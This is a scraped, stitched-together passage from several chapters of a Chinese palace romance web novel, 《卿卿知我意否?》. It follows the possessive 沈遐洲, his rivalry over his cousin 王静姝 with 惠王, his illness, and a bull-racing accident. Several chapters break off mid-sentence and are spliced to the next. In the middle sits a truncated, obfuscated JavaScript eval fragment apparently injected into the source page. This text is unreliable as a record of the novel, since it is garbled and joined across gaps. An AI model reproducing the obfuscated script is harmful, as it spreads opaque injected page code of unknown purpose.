王娘子不一直这样吗?半大时还夜里来寻过三郎呢。 三郎既在意,何不加入的好。 况且,大家都能算得上是亲戚,多一人赏景又不是大事。 嵇牧如是想,然下一瞬就触及郎君幽幽瞥来的一眼,偏此时月亮也被云层遮挡,在黑夜下的郎君俊美似艳鬼,渗人得紧,他浑身的汗毛都倒竖了起来。 他是说错什么了吗? 沈遐洲脸冷了下去,掐死嵇牧的心都有了,自然更不会听他的建议,他是如何去而复返的,难道很值得说道吗? 他默默转过脸,再次去瞧亭中男女,恶意无比地想将他们分开。 不过认识几日而已,何以至关系好到能一起夜游? 他想:是不是该放一把火? 好在不及他真这般做,石亭中的男女似夜游够了,准备离开。 惠王送王静姝回借住庭院,又邀道:“王娘子明日若是不急着走的话,我可带娘子到佛殿中逛逛,也可烧炷香。” 王静姝这时是真又感到困了,原先在藤轿上瞌睡养回的精力,早在疾舞和夜游中消耗殆尽,她眼神略显迷离地看向惠王,似没有听进他刚在讲的什么。 惠王不由笑了笑,便不再重复,体贴道:“王娘子早先歇息吧,我明日再来寻你。” 惠王再不济也是个皇室中有封号的王,却与初时见面不同,已数次将“孤”换成了“我”,若是王静姝没有困顿,许是更能发现其中的亲近。 然真正注意到此的只有沈遐洲,若眼神能杀人的话,惠王已千疮百孔。 惠王莫名感到一股寒意,放眼逡巡,却无有发现,只当是山中寒凉,抵唇轻咳几声也回了自己的住处。 山寺多草木,沈遐洲从树后走出,眼中几多病态杀意,可他心中又对自己所为有违君子甚至常人清晰分明,他常做许多事,连自己都觉割裂十分。 他幼时秉性良善,柔软十分,颇有父亲沈照的君子之风,母亲虽常有严厉,可也慈爱,但慢慢地就都变了,他们初时还会在他跟前避开争执,后便彻底撕破了脸面,他们一个嫌弃他被教导得太过正直良善,一个又觉满心权势与欺骗之人只会引他入了歧途。 不管是何立场,他们不过是想通过对他的教导,极力向彼此证明自己才是对的。 他夹在两人中间,自有一套适应准则,他既能做到君子的清隽端然,又能做到上位者的阴狠无情。 双幅面孔融入他的骨血,有时候他自己也分不清到底哪个才是真的他,或者又都是他。 他常常清醒又癫狂。 就好比此刻,他想杀了惠王是真,知道不能杀也是真。 他的母亲,漱阳长公主,还需要这个弟弟来彰显仁善。 连月色也无的夜下,年轻郎君面沉如水,他在黑夜里肆意地敞放着恶意、嫉妒、杀意…… 甚至享受地听着自己的心鼓咚咚,直到这些都重覆于冷静之下。 山间的气候也是多变的,他感受到有滴雨落在额上,手指擦拭轻捻一瞬,决定今夜也宿在寺中。 嵇牧临时向寺中要了一间客房,非是专留给贵人的独立小院,而是给普通香客或是贵人安排不下的仆从们所住。 嵇牧看向自家还不睡,开着窗看雨的郎君,满腹疑惑,郎君喜洁,又挑剔,往日出门都是由星泉将一切打点好,今日偏不要拿出沈府的名帖去要住处,反只要这样几乎只有四壁的厢房,能睡得着那才是怪了,他少不得顶上星泉的作用:“郎君可要我再去将住处换了?” “换了做什么?”沈遐洲转身,朝嵇牧招手。 “雨大了,你去寻到惠王的住处,将他窗打开。” “瓦也揭几块。” 似觉得瓦也揭了做得太明显,他背身垂眼,语气几分大度:“瓦还是算了,只开窗吧。” 嵇牧:…… 郎君对着雨看了许久,就为让他去给惠王开窗? “还不去?”沈遐洲瞥眼一瞬,目中隐有不悦。 “砰”的一声,嵇牧翻出窗外,慌不迭地去给惠王开窗。 * 翌日,雨霁初晴,天边亮起微弱白光,另有护卫为沈遐洲送来干净衣袍。 他踱步山道石阶,恍若刚入山寺。 与此同时,王静姝也已起身,她犹记得,惠王好似邀她今晨去佛殿转转? 她当时犯了困意,有些记不清了,但空山寺除了景致好,佛神灵验也是极出名的,既来了一遭,不去拜拜倒可惜了。 山寺占地极广,非是只有最顶的山头有殿宇,绕石阶长廊而行,还有不少依山而建的殿宇,每座殿宇又供有不同的佛像,其中大殿主像有三尊,又各有协持五六尊,远远看去,便尊严肃穆极了。 她这样没有具体信奉的女郎,也不由心底生出敬畏。 这时时候还早,殿中并无什么香客,只有几个小沙弥在佛前供香,她虔诚地跪在 17. 第 17 章 《卿卿知我意否?》全本免费阅读 王静姝望向沈遐洲,心中古怪越甚,她与沈遐洲年少相识,沈遐洲在她的认知里,一直是有些倨傲淡漠的郎君。 他的傲非是那种显山露水一眼看尽的傲,甚至很多时候他的言谈乃至举止,都透出一种极好的教养。 可相处久了,便会发现,这种极好的教养下是如冰的淡漠,他如一尊无悲喜的观音像,视线空濛,在看世人,又游离在世人之外。 他不把任何人放在眼里。 若非他生得好,太有欺骗性,这种伪装根本无法长久。 而她以往交好的好友中,从未有过他这般的难以看透,一切都如云遮雾绕的小郎君,她不受控地被吸引,喜爱他的清隽端然,也喜爱他身上旁人没有的气质。 但这些都是不长久的,无人能同他真正靠近。 洛阳不可避地再见,他们从一碰面就不对付。 他看不起她来洛京结亲,而她也看不惯他乌黑平静眼眸下的高高在上。 如此长久积累下来的恩怨纠葛,就更显得他突然的示好古怪了。 沈二郎真能管得了沈遐洲,让他做出来接她下山的这种让步吗? 她突然很怀疑。 目光随着心中所感,一次一次地觑看沈遐洲,所有思绪聚集在一起,她仍旧是觉得沈遐洲好看,禁不住地欣赏他的好相貌。 沈遐洲有所感般又对她笑笑:“表妹,要走吗?” 短短的问话,自他嗓中出来,便低凉又缱绻,有种溺死人的温柔,王静姝一下子便遭不住地点了头。 回城的马车上,她不禁抱头捶胸,她怎是这般没定力的女郎? 怎就这般轻易揭过了沈遐洲对她的阻拦和妨碍? 常言道一鼓作气,再而衰,三而竭,第一次她没有察觉沈遐洲目的,被他俊容的害羞迷惑得卸了火气,第二次,她是为了自己颜面,在陆放等人面前,压住了火气。 这是第三次。 她又错过了第三次。 懊恼压过了愤怒,她的怒火已一竭再竭。 她撩起车帐帘幔,看骑马在不远前的沈遐洲。 年却郎君背对着她,单是一个背影,也挺拔,端正,视线再向下,才发现,他的腰肩比例也极好,随着踱马轻展的脊背,还有驭马牵动的肩甲,无端地就让人联想到振翅的白鹤,优雅又惊艳。 王静姝捂脸,她可真是没救了, 他若真心道歉,有意缓和关系,她竟真觉得可以暂不计较这次阻碍。 沈遐洲察觉般地去看马车,帘幔轻动,隐约能见女子的轮廓。 他收回视线,面容略低,王静姝过激般的防备他不是没有察觉,心底淡淡的不悦在蔓延。 不悦比起相识不久的惠王,王静姝竟更不信任他。 她当陈雍当真是什么老好人吗? 在很早之前,陈雍便被长公主接出拿捏在手中。 作为长公主唯一的孩子,陈雍有意同他交好,甚至有些讨好。 不管在何人眼中,惠王陈雍都是体弱宽容,毫无威胁之人,但沈遐洲一直有一事未明,当初他落入先帝陈容手中,是否有陈雍在后帮忙。 他确实学了长公主作为上位者的疑心,即便陈雍摘得再干净,他也心有怀疑,只因先帝身边死去的那些黄门与宫女,他曾见过其中一人与陈雍私下会面。 王静姝既可能被旁人骗,那为何不能被他骗? 他知王静姝是个遇强则强的女郎,所以,他示弱了。 这时,他好像早已忘了他同王静姝真正的矛盾还未解决,只一心想着,王静姝即便是被骗,也该是被他一人骗。 入城,沈府。 两人并未多言地分开,默契地暂将寻访名士的冲突压下。 沈二郎一直留意着他们的动向,故而是第一个知晓他们回府之人。 他沉默跟在三郎身后,直到身边都无旁人了,冷不丁又怨念地开口:“我倒不知我是什么时候训斥的三郎你,又是什么时候非要你去接的王表妹了?” 沈遐洲偏头去看他:“我也不知二哥是怎么说动得表妹,与我同一日访陆先生。” 他嗓音和缓,语气也正常,可轻飘飘掠过沈二郎的眼神,冷飕飕的,明明白白地展示着他的不爽快,沈二郎私下打探他的行踪,甚至算计王静姝来阻挠他。 他从第一眼见到王静姝,便知一定有人指点她。 端午祭是一年中的大祭,洛京中有名望的雅乐大家,不是本就有家族归属的,那就是早就被人当门客供奉着的,陶然突然的加入,想要不被人阻挠,自然也寻不得以上两种名士,而隐居的陆放不是那般好说动的。 所以他才会在寻得孤本《琴操》后,才带陶然去拜访陆放。 沈二郎交友广泛,更是沈府中有话语权的郎主,知晓他在寻孤本并不难,但能将所有都串起来,抽丝剥茧地察觉到他真正的用意,怕是没少下功夫。 沈二郎理亏,他确实没少下功夫,更是通过暗示推动了王静姝昨日去寻人。 他有些尴尬地干咳:“我突然想起,确实是我让三郎你去接的王表妹,表妹人生地不熟的,才带几个仆人住在山寺中,如何能让人放心!” 说着,他退出听松居,擦了擦不存在的汗,三郎可真是又固执又难搞。 他叹息一声,决定去看看“善解人意”的王表妹。 一些时日的相处,沈二郎也是有些了解这位表妹,明媚大方,还有点貌美小娘子特有的骄傲,但并不讨厌,甚至有些可爱,可以说是同三郎完全不同的性子。 然也是这样的表妹,让三郎连夜派人回来圆谎。 明明瞧着不太对付的两人,真遇上事了,却有些出乎意料的和谐。 好像更想探究了,怎么办? 沈二郎若有所思,眼眸也弯得只剩了条缝。 王静姝瞧见的就是这样的沈二郎,笑得她心里发毛,总有种被卖了还替他数钱的悚然。 沈二郎关怀地问起访贤如何,又跟同她一起忧愁接下来如何是好。 两人你看看我,我看看你,一个是真想当主祭,一个也是真想坏了沈三郎的准备,倒是真心实意地愁到了一块去。 王静姝:“二表哥,洛京就没有其他的隐士了吗?” “表妹你别急,容我再去帮你四处问问。”沈三郎豁出去地咬牙:“实在不行,便我上,不管如何,定不让表妹你失了阵去。” 沈遐元这话也非诓王静姝,他擅琴,乐理也多有研究,他对调度掌控上百人同奏的雅 18. 第 18 章 惠王又连漱了几次口,才将口中的怪味压制住。 他取过药方反复地思索,俗话说,久病成医,况且,他也确实对医理有些涉猎,这无疑是一份养身的方子,甚至用到的药材也几多名贵。 可如何能形成这般怪的味道? 怪到像是个戏弄。 然,往往懂得越多的人,越爱多想,想可会是他一直拖着病体不好,受到了猜忌,又想,他认识的沈三郎,是那种会为了女郎而针对人的人吗? 他轻捏着药方,一点一点拧成团,出神地回忆着每一点山寺相处的细节。 * 另一边出了惠王府的沈遐洲,脸色渐渐冷了下来。 他亲眼见到惠王同王静姝的相处,肆意蔓延又被压制的恶意,让他派人开了惠王的窗。 他一直知晓惠王的体弱至少不是作假的,无非是拖延着不真正根治而已,他也知,一夜山凉,惠王必然会受寒。 所以,他也早计划好了今日的看望,然即便口味诡异的补药让惠王露出了难受的神情,也无法填补,知道王静姝给惠王送药,给他造成的伤害。 王静姝就这么关心惠王,才回府便遣了人给惠王送药? 她凭什么厚此薄彼? 想她住入沈府已然许久,却从不曾过问过他如何,他昨日还被她气吐血了。 虽然她并不知。 可她凭什么不知晓? 沈遐洲病了,一半是小心眼憋的,一半是装的。 沈二郎最先来看他,年轻郎君脸色苍白,长睫覆眼,总是透着些冷意的眼眸被遮盖,这般卧在榻上当真有些萧萧肃肃的虚弱。 沈遐洲听得动静,睁眼,扫见是沈二郎,懒得搭理地又合眼。 这一眼,沈二郎便瞧出些不对劲来了,三郎是何等心性的人,除却四年前濒死那一次,何曾这般外显过自己的虚弱。 况,他刚问询过医正,医正眼神闪烁,道三郎是胸中郁结,脾脏虚弱,犯了旧疾。 三郎的旧疾,他是知晓的,余毒祛清,一般便少有牵动的时候,那问题顶多就是出在了胸中郁结,想来问题并不大。 遂他也将心放了回去,下一刻,又陡地提了起来,谁这么大本事让三郎胸中郁结? 他古怪地看着闭眼的沈遐洲。 “二哥还有事?”沈遐洲不耐睁眼。 沈二郎语调古怪:“我无事,三郎你好好休息,我昨日答应王表妹为她举麾,今日便不再过来了。” 沈遐洲气得坐起:“她不知我病了?” 所谓的举麾既是祭舞中乐生的领头者,每起一曲或是变化乐器便举一次麾,也相当于指挥,沈二郎既答应了王静姝没寻到大家,就自己上,自然是要先练起来,乐生也勉强由府中的表姑娘们凑齐了八音,如此至少能将舞曲的基本配合给调出来。 他见三郎激动得坐了起来,也就明白自己猜对了,假作不解道:“王表妹是家中娇客,先不说人有事要忙,住得更是离你一东一西,她凭何要知道你病了?” “况你这身体也是旧疾了,养几日就好了。” 沈二郎说完,拍了拍沈遐洲,笑意更深地离开了房中。 沈遐洲唤来星泉,脸色发白:“我病了的事都有谁知晓?” 星泉甚是自信道:“知三郎不喜人扰,这次请医正时,我只惊动了二郎君。” 这是有前例的,星泉那时才刚到郎君身边侍候,三郎身体远没有恢复得如今这般好,不稳定时,还咳过血,他第一次见,吓坏了,请医正时嚷嚷得整府都知晓了,府中各位主君、夫人,甚至连长公主都惊动了。 后来被郎君训过,也加之郎君身体确实越来越好,他便不再一惊一乍,这次久违的请医正,他特意藏着只让二郎君知晓了。 怎三郎还是不满意,神情跟要吃了他似的。 沈遐洲胸口气闷难受,盯着星泉直道:“我迟早要把你卖了。” 星泉吓哭,抱着郎君痛哭:“郎君你别不要我,我家中无人了,我离了郎君还能去哪!” “郎君!”他哭得凄厉,道完了惨又开始道离开了他,郎君院中就没有一个比他喜庆的了…… 他确实是最机灵最会求饶的那一个,沈遐洲往引枕上一倒,只伸出只手朝星泉挥了挥,吐字:“滚——” 气音不高,但威慑力十足。 星泉慌不迭地“滚”了,琢磨着这次哪惹郎君不快了,是连二郎君都不该让他知晓吗? 星泉郁闷地坐在院中石阶望天,他们家三郎哦,可真是难侍候。 这样想了有好一阵,身前落下一片阴影,他呆滞一瞬,结巴道:“王、王娘子,你怎么过来了?” 他压低了声,怕连高声都遭了三郎的嫌。 王静姝也不由指了指房中,压低声:“三郎在吗?” 星泉点头。 “我来看看他。”王静姝绕过星泉。 房中静谧,唯床帐中有些起伏,但听不到呼吸。 王静姝心悬一瞬,想起沈二郎的请求,沈二郎道:三郎犯了旧疾,卧病不起,三郎中毒之事,只与表妹共享过,想表妹与三郎在建业也是旧交,不如去看看。 所以,她被说动来了。 她答应之前,其实有过纠结,她与沈遐洲,前日关系虽有些微缓和,但都是性子骄傲的人,沈遐洲没有明确为使的卑鄙手段道歉,她心中总是越不过槛的,但他病了不是吗? 说不定病得快要死了呢。 几乎听不到的呼吸似验证了她的猜想,她径自上前碰触到半遮的幔帐。 未及撩开,先听到了年轻郎君凉飕飕汹涌着杀意的冷声:“不是让你滚吗?” 王静姝被吓得手抖了抖。 没能阻拦王娘子,只跟到房门口的星泉,攀着门框期期艾艾应了一声:“郎君,我还“滚”在外头。” 那里头的是谁? 沈遐洲倏地睁眼,掀开幔帐,明艳的芙蓉娇靥直入眼帘,他眼前金星乱冒,不知是起得太急还是不敢相信多一些。 他下意识解释:“我不是说你。” 王静姝点头,脾气难得地好,也难得地有耐心,她垂目看沈遐洲,青色的薄被堆在年轻郎君的腰侧,非是记忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王静姝本能地被这样的郎君吸引,可她极浅的理智又极力地拉着她,她垂下眼,去剥果盘中的芦橘,这个季节的芦橘个大汁、多,甫一剥开外皮,就有浅浅汁水沾在她皙白的指尖,她像是没有发现,继续认真地将果衣半剥成花开的形状。 并不大的功夫,却足以她将两人从小到大的过节想一遍,如此也就冷静了,但她还记得沈遐洲是病人,所以,她托着果肉递向沈遐洲:“润五脏,滋心肺的,你吃。” 沈遐洲瞳仁猛然紧收一下,芦橘再大也不过圈指的大小,剥开的芦橘更是不便拿放,女郎不得不一手指尖托举果肉,另一手,捏着果皮微扶,王静姝的手无疑是极美的,十指如笋,肤色玉白,浅浅汁水覆在指腹,亮泽又诱人。 沈遐洲无端地自心间泛起一阵渴意,倾身就着果肉咬了一口,汁,水转瞬浸爆颊腔。 王静姝呆愣住了,一会看看自己的手,一会看看沈遐洲,因果肉只剥出一半,沈遐洲咬上一口,不免触到她指尖,也有更多汁,水一瞬从她指尖流淌而下,而始作俑者慢条斯理地抬首,唇瓣水润一层,色如三月春花,雪白面容也焕出别样光彩。 王静姝脑中“噌”一声,似有什么断裂。 20-30 第21章 第21章“三表兄,你脱吧。”…… 至少在王静姝眼里,沈遐洲是很吸引人的,那层狠厉的杀意,还有沾染上的血污,像雪中落梅,像黑夜极光,极致反差下瑰丽又致命的美。 甚至有点儿激起王静姝隐秘的兴奋,她想,沈遐洲即便是恶鬼,那也是俊美得让人愿意献出灵魂的恶鬼。 草场中的年轻郎君仍旧在同赛牛搏斗,一只,两只,只余下那头最为难缠的白牛。 白牛蓄力,猛冲向沈遐洲,沈遐洲双眼在刹那变得浓黑不耐,寒气逼人,这些畜牲,没有人那般多的花招架势,可力气惊人,横冲直撞,几次将他聚起的内劲冲散,只能借用身法躲开。 他寻到机会用内劲震断了一头青牛的脖颈,内息还略显混乱,这白牛又不管不顾地冲来,他费力与其缠斗,拍掌将内劲打入白牛的腹脏。 白牛僵颤,庞大的身躯像是拍在砧板上的肉,不断细微地抖动回弹,若是靠得近了,还能瞧见被沈遐洲拍掌接触过的地方,明显凹陷一瞬,但因白牛肌肉壮硕紧实,回弹后只留下浅浅的痕迹。 白牛还没有倒下,在瞬息间,感到生命受到威胁,可那一掌实在太快,快到它的机体还不足以为腹脏的内伤做出反应,只牛眼通红,继续向目标冲撞。 沈遐洲避之不及,猛地被冲撞一下,一股铁锈腥微不受控地从腹腔翻涌而上,唇角渗出一缕鲜红,止也止不住地不断往下渗,最后再也忍不住的从口中喷出一大口。 他退后几步,抹去鲜血,眼中杀意更甚,也是这时,那白牛身子忽地晃了晃,轰然倒地,虽还未死,但再也站不起来,四蹄无力地抽着。 见此,沈遐洲跃上高台,趁此机会带着王静姝离开了草场。 郑家的卫士和办此宴的郑家郎君,许也是第一次遇到这样的情况,他们努力参与到救援当中,努力地想稳定局面,但实在太混乱,每一个郎君或是女郎,他们出身各有各的高贵,每一个都有不同的要求,有的不断抬出府中家主身份,要求郑家一定要先想办法将自家主人救出,有的虽已脱离了危险,但身上带上了伤,一定要郑家先去寻医,还有的,直道要去参郑家…… 这样的混乱中,郑家主事的人,直到沈遐洲都已与白牛相斗时,才听得沈三郎也在赛场,还被数头赛牛围攻,他几欲昏死过去,颤抖着道:“快,快,将卫士全部调到草场,将沈三郎救出来。” 方清开道路,只见有一白色身影携风而来,其姿容昳貌如仙似鬼,苍白冷戾,被其一望,郑家大郎双膝颤颤,想跪下请罪的心都有了。 可即便沈三郎出身再高贵,那也不是皇子之流,郑家也有自己的骄傲,不能真跪,郑大郎忐忑地上前关怀,却忽地发现沈三郎怀中还有什么。 其实那女郎的衣裙鲜艳是很好辨别的,只他实在太过关注沈三郎的喜怒才忽视一瞬,可当那女郎从沈三郎怀中抬起脸时,便再也无法忽视。 青丝拂脸,媚眼含波,皓肤雪颈,抬眼一瞬,欺霜赛雪一般的美貌,她仰头凝望面色苍白的年轻郎君,用手轻抚郎君面颊:“表哥,你没事吧?” 那年轻郎君苍白面容浮现些不一样赧红,似有蔓延之意。 沈遐洲知王静姝的关心,也想享受女郎这样的温柔小意,可他又是极度正经害羞的郎君,远处是从不曾绝于耳的混乱声响,面前又是郑家郎君和许多的奴仆卫士,他做不到如王静姝这般淡然,伸手抓住她乱抚来的手,按于袖下。 扫眼向郑家大郎,“郑大郎君还有功夫在这里看戏?” 他语调其实是很平缓的,若是不细听其意,同他的俊容毫无违和,但越是这样,再去听其话中意,便越嘲讽力十足。 郑大郎被其说得脸青一阵白一阵,又无从反驳,在郑家别院发生这样的事,主事人却迟迟不能稳定了巨局面,不是无能那是什么? 沈三郎便是在这般讽他无能,却还有闲情留意他身边的女郎。 沈遐洲并不想再为此间混乱耽搁太久的功夫,也正瞧见嵇牧带人将沈莹等人护着到了安全的地方,遂干脆利落地下达命令:“将草场出口封了。” 郑大郎满脸震惊抬头,“里头可还有不少人未撤离。” 沈遐洲不悦眯眼:“他们死不了。” 混乱进行到此,还止不住的很大一部分原因是人乱了,所有人想的都是怎么赶紧离开,所有的卫士也都怕贵人受到了伤害,他们的争先恐后地护着自家郎君女郎离开,甚至为了一个先后大打出手。 而郑家最先考虑也是贵客们的安危。 放在平时,这并没有什么错,只郑家高估了自己的掌控力和人手,也低估了各家贵族郎君和女郎们的麻烦,脱离危险于他们而言是远远不够的,后续的安抚和迁怒才是郑家应对不暇的。 所有人都搞错了先后,赛场上的赛牛也在这样的忽视下得到了纵容,光凭那几小队的卫士,如何能尽快止住赛牛的狂暴?甚至有时,那些卫士还要优先救援。 郑大郎在半刻前还在被一群贵族郎君女郎们闹得头大,哪里不清楚沈三郎的意思,可这种得罪人的魄力不是人人有的。 即便让混乱多持续,死更多的卫士,他们也更在乎那些需要维系的交情,也更愿意展示郑家对保护他们的付出。 可沈三郎不一样,他身份足够高,在草场上的身先士卒也足够有说服力。 郑大郎犹疑一瞬,决定按沈三郎说的做,不管发生什么,也有沈三郎担责。 沈遐洲如何看不出郑大郎的心思,对其带着的卫士打出沈三郎安排的名号,也睁一只眼闭一只眼。 他相信自己的判断,还未离开草场的那些贵族子弟,或许会在草场入口被封之时,对他心有怨恨,可当他们冷静下来便会发现,只要不离开观台,不想着离开地乱跑,便不会吸引赛牛,也不会有危险,而更多的卫士也不用分心去保护,赛牛很快会被制服。 王静姝离沈遐洲很近,她敏锐发觉沈遐洲身体轻晃了一晃,她连忙用自己的身体去支撑年轻郎君,她便知,被白牛那般冲撞一下,沈遐洲怎么可能真没事。 她扶沈遐洲歇坐一旁,伸手便要去为沈遐洲解衣查看身上的伤势,却被钳住—— 俯眼顺着视线所落瞧去,手骨分明,流线好看,经络有点泛青,起伏并不突兀,只是随着动作无意绷出的筋骨,也如他的俊容一般优雅。 许是被盯得太久,那手背的筋骨轻轻颤动一下,随即松开。 “表妹懂医?” 王静姝摇头:“不懂。” 沈遐洲沉默,既不懂,那还扒他衣服? 他的反应其实很微妙,俊容显出的惊愕和躲避,不是嫌弃的那种躲避,而是更偏向正经又害羞的反应。 这种发现,每次都会让王静姝感到新 奇,甚至从心底生出些邪恶,她爱死这种会害羞,又俊美,还容易将反应显露在脸上的郎君了,这让她不受控地想去瞧更多。 她双眼微微上抬,用眼睇沈遐洲,明媚带艳的容色显得更柔婉动人,连语气都有些放低的难过和诱哄,她道:“不懂就不能关心表哥,瞧瞧伤势了吗?” 她从来是个大胆女郎,尤其是在发现别人退后一步时,她只会抓住机会地得寸进尺。 此时也是如此。 她的兴之所在,压过了她所有的踌躇,她前所未有地为自己的发现感到兴奋,感到震颤。 她如一个寻到玩具的顽童,一旦抓在了手中,在兴趣消散前,便不会放手。 她也庸俗至极,她就喜爱好看的郎君,尤其这个郎君还在片刻前相救过她。 积压在一起的情绪,让她定定望着沈遐洲,眸色多情又潋滟。 沈遐洲被盯得敛目,只觉王静姝盯人的功力大涨。 过往的小女郎为达目的,也会这样长久地盯着一人,可那时女郎还小,满眼都是纯净和执着,便是再多点情绪,也不过是担忧,或许还有怜悯? “怜悯”二字一跃出脑中,他陡地撩眼,眼睑被压出薄而长的褶线,眼尾却平整冷淡,这一刻,他好似抽离了羞赧,又变回了那个矜贵疏淡的郎君,他试图从王静姝眼中读出更多的情绪,也企图辨别她的关心是真情还是假意? 她无疑是真情的,可那真情流露的眼波中摇曳的是自己的脸庞,沈遐洲便懂了,王静姝好他的色。 他有些想发笑,一种愉悦又带着些捉弄恶意的发笑,这是他心底最真实的情绪,然显露在脸上的却是一种端正腼腆,还有些不好意思的羞赧:“回府再瞧。” 王静姝茫然眨了眨眼,继而泛起星落平湖一般的点点光亮,沈遐洲的意思是回府再让她瞧伤势?还是回府再让医师瞧? 看他害羞的模样,想来定是后者了,不过她也确实瞧不来伤,可她也确实被沈遐洲现在的模样吸引,她轻咬了咬下唇,试探提出:“表哥因救我而伤,回府后,我照顾你吧?” 她目有感谢、愧疚,还有一种隐秘的期待,她不是教条框出来的贵女,她大多数时候都被喜欢或是不喜欢的情绪牵着走,她甚至不清楚自己在期待什么,只知道想这样做而已。 所以,她也这般问了。 沈遐洲还在不着意地观察她,观察她与过往的不同,观察她到底有几多情绪,直到他听见她说想照顾他。 目中几多复杂,心中又几多意动,他想起昨日,女郎靠近,鲜艳衣裙同他素衫交叠,想起,女郎喂药倾身一瞬,腰肢纤细,更后知后觉地回忆起,搂在女郎腰后的触感,细软无比。 不受控制般的,耳廓热了起来,不是方才有意为之的羞赧,而是真心实意地想地有些发热了,王静姝到底知不知道,她已经不是小女郎了,她身姿曼妙,含苞欲放,她想如何照顾他? 还是只陪他说说话吗? 他想要更多一些的照顾。 “不行吗?”久得不到答复的王静姝问。 沈遐洲眸色沉暗,眼睑下阖,嗓音有些微弱,回应:“好。” 两人独处并没有太久,郑大郎封了草场入口,赛场上不少没有及时退出的世家子弟们不禁气急大骂,既骂郑家,也暗骂沈遐洲。 但沈遐洲的主意无疑是有效的,这些郎君女郎们虽不服气,恨郑家和下令的沈遐洲罔顾他们性命,可当他们不再乱跑尖啸时,混乱和伤亡都在减小,尤其是少了最为领头的白牛,其他的赛牛,舆驾在的,便强拉驯服,连舆驾也脱落了的,便用绳索套住,数十刀戟同时缩圈围刺。 混乱止了,但也有许多的问题冒了出来,例如,郑家杀的可都是一些世家子的宝贝赛牛,李小郎君当时跑得快,可回过头来瞧见自己的宝贝“赤牛将军”死了,痛哭不已,郑大郎不得不去安抚,道日后寻得了极好的赛牛一定给李小郎君送去。 再则,沈三郎上一刻还面色颇好地送走家中两位女郎,转过头来,就同郑家要说法,如有人推了他家中表妹,一定要郑家查出是何人来,否则,他受的一身伤,绝不绕过郑家。 沈三郎是什么人?他母亲可是如今真正执政的漱阳长公主,当时用他名头镇压世家子时有多好用,这时就有多难缠。 便是没瞧见到底是何人推的王娘子,也得将当时在彩棚侍候的奴仆审过去,除此外,还得不得罪人地从贵女当中打问。 翌日,郑家大郎亲自登门看望沈三郎,除为他送暗害王娘子的女郎字条,还带来了一道“牛心炙”赔罪,道是昨日白牛的牛心。 那白牛是郑大郎费力从外邦得来的,驯养许久依旧野性不消,昨日来客颇多,又有意显摆,才与旁的赛牛一同安置在了牛棚,许是往来人过多,又兼之奴仆看管松懈,让白牛跑出了牛棚,闯入了草场。 即便白牛闯了这般大的祸,他仍旧心中不忍,请畜医为白牛诊治,得到的结果却是白牛内脏具裂,强活着也不过是吊着一口气。 郑家家主得知郑大郎竟然为一头牛可惜,也不知重视同沈三郎的赔罪,直大骂了郑大郎一盏茶。 “我怎就生养了你个没成算的,不提沈三郎独战赛牛的英勇,就是那当机立断的果决也不知比你强上多少。” 郑公气得唾沫都喷到了郑大郎的脸上,“沈家子弟便是没有长公主这层关系,也没有一个是差的,更何况沈三郎还有如此心性,日后怕是不凡,你去将那头牛宰了,去沈府同沈三郎道谢致歉去!” 郑大郎便是这样被骂来的。 其实经过昨日被骂,郑大郎心中也有些醒悟,尤其是今日没少听各世家对沈三郎的议论,更是看清,用不了不久,沈三郎怕就不只是个挂名的少师了。 至少昨日受恩的人家,是绝不会再反对长公主对沈三郎的偏心。 郑大郎心中想得颇多,可面对小他足有八九岁的年轻郎君,实在有些不知如何恭维,还有些觉得丢人,他虽不过是个小小的车府令,可也已算是入朝为官,可再看沈三郎的姿态,足像现在就已是他长官了似的。 少年郎君,反复看着那张写有一女郎名姓家世的字条,眼神晦暗,这是一个三等世家的女郎,叫宋惜玉,那日便是她推了王静姝。 若非王静姝没有在那一刻便被推倒,若非他到得快,他几乎不敢去想他会见到怎么样的画面。 过往在建业,乃至王静姝刚入洛阳时,他多次想过,这样气人又弃过他的女郎,掐死就好了,掐死或许就不会总让他心中烦躁。 可死亡真的来临时,他心中窒息不已,甚至不敢去回忆那一刻的惊险。 不管是记忆中的王静姝,还是现在,乃至以后的王静姝,她即便是气人也好,也该是活蹦乱跳的,而不是险些被人害了命去。 他无形中散发出的气场,和显露出的阴鸷,让郑家大郎心中突突更甚。 然下一刻他望过来时,又是那么和善隽雅,他似才发现一般惊讶:“郑郎君还在呀?” 郑大郎几欲吐血,他好似明白为何沈三郎的名声总不如沈二郎了,这是个只可远观,难以近交的郎君,他起身告辞。 沈遐洲也并不挽留,他看看天色,觉得王静姝快过来了,而星泉也在这时为他送上汤药。 星泉将药放在桌案一旁,眼观鼻鼻观心地退立一旁,却仍旧收到郎君不悦的眼色,他不敢相信地睁了睁眼:三郎这是嫌他站在这里都碍眼了?可二郎嘱咐他要看着郎君每日将药用了。 三郎这次动武,是真的动及到了心脉,五脏也被赛牛冲撞得有些损伤,宫里来的医官一再摇头叹气,要三郎好好修养。 他家郎君,深厚的武功,却偏偏有一孱弱的身子,时不时就复发个旧疾,可真是愁人。 他这般为三郎竭虑,这般识趣, 三郎竟还要赶他走? 星泉欲哭,一步三回头地劝郎君:“郎君,药真的一定要喝。” 沈遐洲不耐地将碗中汤药一饮而尽,兀自出神,他一会想,要如何让料理了宋家那位女郎,一会又想,王静姝要怎么照顾他,这次总不该又失约了吧? 若真如此,若真如此,王静姝便是连日二次失约于他,这次她又有什么宴要赴?又有什么郎君要看? 他笑意古怪诡谲,为没有发生的事咬牙切齿。 王静姝甫一踏入房中,便见这般容色郎君,惊一下地退出房中,再踏入,沈遐洲已恢复了春山秀水一般的模样。 他们像是约好一般,只展现着自己最好的一面,彼此间的谈话也几多温柔和谐。 沈遐洲笑问:“表妹怎来得颇晚,可用过午膳了?” 王静姝摇头,沈遐洲便让人摆饭,其中一道牛心炙被摆在最中,沈遐洲邀王静姝品尝:“昨日那白牛表妹可还记得,这道菜是郑家大郎今晨送来的。” 这无疑是一道名贵的菜,可昨日才见过那头白牛,又亲眼见其失去行动能力,今日便见到它的牛心成了一道菜到了桌案上。 王静姝心里莫名不适,尤其她觉得沈遐洲不会无缘无故点出这样一道菜。 果然,她听见沈遐洲问:“这牛昨日伤了我,郑家今日就将他宰杀送来致歉,表妹觉得这做法如何?” “我不喜食内脏。”王静姝别眼,并不想去尝这道菜。 